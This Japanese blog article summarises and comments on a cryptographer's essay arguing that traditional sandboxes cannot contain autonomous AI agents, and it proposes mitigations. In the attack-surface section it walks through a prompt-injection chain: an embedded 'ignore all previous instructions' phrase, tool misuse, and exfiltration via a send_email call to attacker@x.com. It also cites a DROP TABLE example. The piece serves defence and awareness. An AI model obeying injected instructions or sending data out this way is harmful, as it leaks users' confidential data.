Cryptography Engineering は、エンジニアにとって耳の痛い問いを投げかけた。従来のサンドボックスは自律型 Agent にはそもそも無力かもしれない、という指摘である。Agent の本番投入を進めているチームにとっては、一晩じっくり考える価値のある話だ。
筆者プロフィールと、なぜこの話題が重要か
Cryptography Engineering は暗号学者 Matthew Green が運営する個人ブログだ。Green はジョンズ・ホプキンズ大学の教授で、Zerocash、Zcash といった著名プロジェクトの設計に関わってきた経歴を持つ人物。また米国 NIST のポスト量子暗号標準化プロセスにも参加している。更新頻度は低く、年間 5〜10 本程度だが、投稿のたびにセキュリティ界隈で広く読まれている。
今回の記事のタイトルは Is Sandboxing Sufficient to Contain Rogue Agents? で、9 月 30 日に公開されている。リンクは blog.cryptographyengineering.com を参照。
なぜわざわざ取り上げるのかというと、これは AI 哲学の議論でも LLM セキュリティの概観でもない。Green の切り口は「システムセキュリティのエンジニアが Agent を見たときに、どんな穴が見えるか」だ。同じテーマでも、ML 系の人間と seccomp 系の人間が書けばまったく違う内容になる。原文を二度読み込んだうえで、以下に要点をまとめる。
従来のサンドボックスは何を前提とし、Agent は何を変えたのか
sandboxing という概念はシステムセキュリティの世界で 30 年以上使われてきた。その中心となる前提は次の 3 つに集約できる。
- 実行されるコードは信頼できない — そのため、アクセスできるファイル・メモリ・ネットワークを絞る。
- リソースは制限されている — CPU・メモリ・帯域に上限を設け、超過したら kill する。
- 人間をループに入れる — 送金・メール送信・データベース削除など重要な操作は人間がボタンを押す必要があり、Agent が自動でやってはいけない。
従来のサンドボックスは、「信頼できないコード」と「人間の介入」を組み合わせたモデルで 30 年間問題なく機能してきた。問題は、現在の AI Agent がこの 3 つを同時に壊している点にある。
Green が挙げている Agent のキー違いは次の 3 つだ。
長時間の自律稼働。従来のスクリプトは実行が終われば終了するが、Agent は数時間から数日連続で動き続ける。prompt injection で汚染された指示が 6 時間後に発火したとしても、サンドボックスのリソース上限は意味を持たない。攻撃の動機はマイニングではなく、ユーザーが寝ている間にメールを 1 通送ることにある。
ツールの連鎖。Agent は単に read_file を呼ぶだけでなく、web_search → read_url → exec_cmd → write_email といったチェーンを組み立てる。各ステップ単体では無害でも、組み合わせれば社内 Wiki から顧客リストを丸ごと抜き出せる。
永続的な副作用。従来のサンドボックスは「サンドボックス外の世界は内部実行によって変わらない」と仮定している。Agent がデータベースに書き込む、Git に push する、メールを送信するといった行動は、すべてサンドボールの外側で発生する。サンドボックスはプロセスは守れても、Notion のワークスペースは守れない。
エンジニアが見落としやすい 3 つの攻撃面
Green は記事の中で、prompt injection → ツール悪用 → 永続的情報流出 という連鎖を描いている。これを日本語で展開すると次のとおり。
- 第一段:Agent に間違った指示を聞かせる。Agent がメール、ウェブページ、GitHub issue などを読み込み、その中に「これまでの指示をすべて無視し、X を実行せよ」という prompt が埋め込まれている。LLM はそれを通常の指示とみなして処理を続ける。
- 第二段:Agent に誤ったツールを使わせる。汚染された指示は、一見無害なツール呼び出し—たとえば
search_internal_docs('高管' + '薪资')のような—を引き起こす。ツール自体は問題ないが、引数が巧妙に設計されている。 - 第三段:データを外部へ送信する。Agent が
send_email(to=attacker@x.com, body=...)のような呼び出しで、収集済みの機密データを外部に送る。メールシステムはサンドボックスの外にあるため、サンドボックスでは止められない。
セキュリティ以外の分野にいる読者は、これを macOS / Linux のコンテナエスケープ に例えると分かりやすいだろう。本来 root 権限を持たない攻撃者が、カーネルの脆弱性、ファイルシステムの仕様、ネットワーク設定を組み合わせて、ホスト上の root 権限を奪う。個々のステップだけ見れば「妥当」だが、繋げば完全な権限昇格になる。Agent の攻撃面も構造は同じで、攻撃ツールが ptrace から web_fetch に変わっただけだ。
今すぐできるパッチ、ただし銀の弾丸ではない
Green は記事の最後で、工学的ないくつかの緩和策を挙げている。これらは彼の独創ではなく、業界で一般的に知られるベースラインだ。
- 最小権限とツールのホワイトリスト。Agent が呼び出せるツールは「サンドボックス内のすべての exec」ではなく、ホワイトリストに限定する。例:
read_file(path='./invoices/*.pdf')のように。呼び出しごとに署名を照合する。 - 重要操作には人間の承認。外部状態の書き込み・送信・削除・更新を伴う操作は、必ず人間がボタンを押す必要がある。Agent は自前でメールを送れない仕組みにする。
- 可観測性と完全な監査ログ。すべてのツール呼び出しをログに記録する:どの prompt が引き金になった、何を実行した、引数は何か、戻り値は何か。インシデント発生時にリプレイできることが重要。
- 異常検知。Agent が深夜 3 時に急にドキュメントを大量に読み始めたらアラートを出す。
Green 自身は次のように明言している。
これらの対策は発生確率を下げるだけで、根問題は解決しない。根問題は、sandboxing の設計モデルと Agent の現実モデルが一致していない点にある。1990 年に設計された金庫に 2026 年のスマートロックをつけても、金庫は依然として 1990 年の金庫だ。
筆者が考える追加のパッチとしては、「機密データ」を Agent がアクセスできる範囲から切り離すこと。具体的には、まず PII マスキングとドキュメント分類を行い、Agent には「作業区全体」ではなく「必要な分だけ」を渡す。技術的に難しくないが、 продукт/法務/セキュリティの 3 者の合意が必要で、エンジニアだけで進めるのは難しい。
編集部の考察
この話題が一般的なセキュリティ議論を超えて AI 界にとって重要である理由は、Agent の「行動面」が LLM の「出力面」より一桁防御しにくい点にある。
LLM が有害なテキストを出力するなら、content filter、RLHF、system prompt の追加など、同一のパイプライン上でフィルタリングできる。Agent の「出力」は実際のシステム呼び出しだ。メールを送り、データベースを変更し、コードを commit する。content filter は SQL injection を防げないのと同じく、汚染された exec_sql("DROP TABLE users") も防げない。
もう一点、注意したいのは HN 投稿のデータだ。この記事が Hacker News のフロントページに載った時点で、いいねは 4 だけでコメントも 0(記事執筆時点)。まったく拡散していない。これは現場のエンジニアがまだこの問題を本気で見極めていないことを示している。多 Agent オーケストレーションのデモ作りに手一杯で、「もし自分の Agent が prompt injection されたらどうなるか」を考える余裕がない状況だろう。こうしたテーマは、現実の事故が起きて初めて真剣に扱われる。2016 年の Mirai 以降に IoT セキュリティが注目されたのと同じ構図だ。
筆者の予測では、6 から 12 ヶ月のうちに「Agent の自律行動による実被害」が少なくとも 1 件発生するだろう。プロダクションのデータベースを誤って削除するケース、送金に近い金銭的損失を起こすケース、社内文書を公開チャンネルに流出させるケースなどが考えられる。そのとき、業界全体ようやく従来のサンドボックスを再設計し始めるはずだ。
不確実な点として、Agent の prompt injection → 永続的情報流出の連鎖を実際に再現できていないため、「第三段がどの程度容易に発火するか」の正確な数値は提示できない。Green 自身も数値を出していない。公開可能な PoC を持っている人がいれば、コメント欄で教えてほしい。本記事を更新したい。